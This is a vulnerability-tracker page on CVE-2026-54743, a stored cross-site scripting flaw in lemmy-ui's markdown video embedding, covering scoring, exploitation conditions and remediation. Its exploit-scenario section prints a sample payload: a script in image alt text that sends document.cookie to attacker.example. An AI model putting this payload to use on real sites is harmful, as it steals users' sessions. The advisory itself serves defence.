Skip to main content

Lemmy EUVDEUVD-2026-62848

| CVE-2026-54743 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-19 GitHub_M
6.4
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Operate or compromise a federated Lemmy instance
  2. Delivery
    Craft markdown post with JS payload in video alt text
  3. Exploit
    Push content to target Lemmy instance via federation
  4. Execution
    Victim opens page; mdToHtml renders unescaped alt text
  5. Persist
    Browser executes attacker JavaScript in lemmy-ui origin
  6. Impact
    Exfiltrate session token or perform authenticated actions

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires all of the following: (1) the target lemmy-ui deployment serves no Content-Security-Policy header - the vendor advisory confirms that CSP blocks the exploit, and the default self-hosted configuration does not set this header; (2) the attacker must either hold approved-member status on the target Lemmy instance or control a federated Lemmy instance capable of pushing content to the target; (3) the content must be rendered through the mdToHtml path (post bodies, comment bodies, private messages, community sidebars, site sidebars) - the mdToHtmlNoImages rendering path is not affected; (4) the victim must passively view the rendered content in their browser (UI:P). Exploitation is limited to lemmy-ui versions prior to 0.19.19-beta.1 that ship markdown-it-html5-embed@1.0.0. Instances with CSP enabled and instances that have upgraded to 0.19.19-beta.1 are not exploitable regardless of the other conditions.

Impact

The provided CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N) yields a 6.4 score, which modestly understates real-world risk for unprotected deployments. The high subsequent-system confidentiality and integrity metrics correctly capture session hijacking and authenticated action abuse. The PR:N assignment reflects the federated attack path - a threat actor operating their own Lemmy instance can push content to a target instance without any approval on that instance, though controlling a federated server is itself a non-trivial prerequisite that more closely resembles PR:L. The single most important risk modifier is CSP: the vendor advisory explicitly states that a Content-Security-Policy header blocks the described exploit, and equally states that the tested default self-hosted deployment serves no CSP. This bifurcates the vulnerable population sharply - instances with CSP are protected at the network layer; the majority of community self-hosted instances without CSP are fully exposed. No EPSS data was provided; exploitation probability cannot be quantified. No KEV listing exists. The Lemmy fediverse model amplifies the attacker's reach because one malicious federated instance can target viewers across many independent Lemmy deployments without needing per-instance credentials. Effective risk is moderate-to-high for default self-hosted deployments and low for CSP-hardened instances.

Exploit ScenarioDerived

An attacker who operates a federated Lemmy instance crafts a post containing the markdown image token ![<script>fetch('https://attacker.example/steal?c='+document.cookie)</script>](malicious.mp4). The content federates to a target self-hosted Lemmy instance with no CSP header. When a logged-in viewer opens the post, lemmy-ui calls mdToHtml, the markdown-it-html5-embed plugin generates a video element with the unescaped script tag in the fallback body, Inferno injects it as raw HTML, and the browser executes the attacker's JavaScript - exfiltrating the viewer's session cookie and enabling subsequent authenticated actions on their account.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 19, 2026

Stored cross-site scripting in lemmy-ui prior to 0.19.19-beta.1 allows session hijacking and unauthorized authenticated actions against viewers who render attacker-controlled markdown content. The vulnerable markdown-it-html5-embed@1.0.0 plugin generates video element fallback HTML by inserting image alt text via unescaped string replacement, bypassing the markdown-it html:false safety setting because plugin-generated output is never subject to that guard. An attacker controlling a federated Lemmy instance or holding approved-member status can store the payload, and any viewer who renders it on a deployment lacking Content-Security-Policy headers will execute attacker JavaScript in the lemmy-ui origin. No public exploit identified at time of analysis; EPSS data not provided in source intelligence.

RemediationAI

Upgrade lemmy-ui to version 0.19.19-beta.1 or later, as confirmed by the vendor advisory at https://github.com/LemmyNet/lemmy/security/advisories/GHSA-2g66-9fr3-ppwj and corroborated by the tagged release at https://github.com/LemmyNet/lemmy/releases/tag/0.19.19-beta.1. The fix replaces markdown-it-html5-embed@1.0.0 with markdown-it-html5-media@0.8.0 in package.json and updates src/shared/markdown.ts accordingly (commit 81a3fe07f2a5acc11188320534aa6bf937ebf7ff). For deployments that cannot upgrade immediately, the vendor confirms that serving a Content-Security-Policy response header blocks the described exploit - a policy such as Content-Security-Policy: default-src 'self'; script-src 'self' will prevent inline script execution from the injected payload. Operators should test CSP in staging first, as overly strict policies may break legitimate inline styles, third-party media embeds, or other frontend features. Note that the upstream fix (PR/commit) is confirmed to exist; the 0.19.19-beta.1 release carries a beta designation and administrators should evaluate stability before promoting to production.

Affected VersionsENISA

lemmy < 0.19.19-beta.1

Affected Packages

euvd lemmy fix: 0.19.19-beta.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Lemmy-ui processes user-supplied markdown through markdown-it configured with html:false in src/shared/markdown.ts. The html:false setting prevents raw HTML passthrough from user input, but it does not apply to HTML emitted by registered plugins. The markdown-it-html5-embed@1.0.0 plugin was registered with useImageSyntax:true, causing image-syntax tokens (![alt](url)) targeting video MIME types to be transformed into HTML video elements. The plugin constructed the video element's fallback content by concatenating the alt attribute text without HTML-entity encoding, meaning a crafted alt value containing script tags or event handlers reached the DOM intact. Inferno then injected this plugin-emitted HTML via a raw __html object, with no sanitizer pass interposed. Affected rendering paths are mdToHtml (used for post bodies, comment bodies, private messages, community sidebars, and site sidebars); the mdToHtmlNoImages path was not affected. The root cause class is CWE-79 (Improper Neutralization of Input During Web Page Generation). The fix, confirmed in PR #4213, replaces markdown-it-html5-embed@1.0.0 with markdown-it-html5-media@0.8.0, which does not exhibit the unescaped alt-text substitution. CPE: cpe:2.3:a:lemmynet:lemmy:*:*:*:*:*:*:*:*.

Know when Lemmy gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 6.4 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
vuln.today AI 8.7 HIGH

PR:L because exploitation requires approved membership or control of a federated server; UI:R because victim must browse to malicious content; S:C with C:H/I:H for session hijacking and authenticated action abuse.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
None

Lifecycle Timeline

1
Patch available
Aug 19, 2026 - 21:17 EUVD

DescriptionCVE.org

Lemmy is a link aggregator and forum for the fediverse. Prior to lemmy-ui 0.19.19-beta.1, LemmyNet/lemmy-ui renders Markdown in src/shared/markdown.ts for post bodies, comment bodies, private messages, and community and site sidebars through mdToHtml, which returns a raw __html object that Inferno injects without a sanitizer pass. setupMarkdown configures html as false but registers markdown-it-html5-embed@1.0.0 with useImageSyntax enabled, so an image targeting video media becomes a video element whose fallback incorporates the image alt text through unescaped string replacement. The html setting does not apply to plugin-generated output, allowing crafted alt text to reach the DOM as live HTML in contexts that do not use mdToHtmlNoImages. An approved member or a remote federated instance can store such content, and a viewer who renders it may execute JavaScript in the lemmy-ui origin, exposing the viewer's session and authenticated actions. The advisory notes that Content Security Policy prevents the described exploit in production, but also states that the tested default self-hosted deployment serves no Content-Security-Policy. This issue is fixed in lemmy-ui version 0.19.19-beta.1.

Threat Intelligence Overview

EPSS Score
0.4%
Top 66% exploitable
Prevalence
Low
niche fediverse platform, minimal enterprise or commercial deployment
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy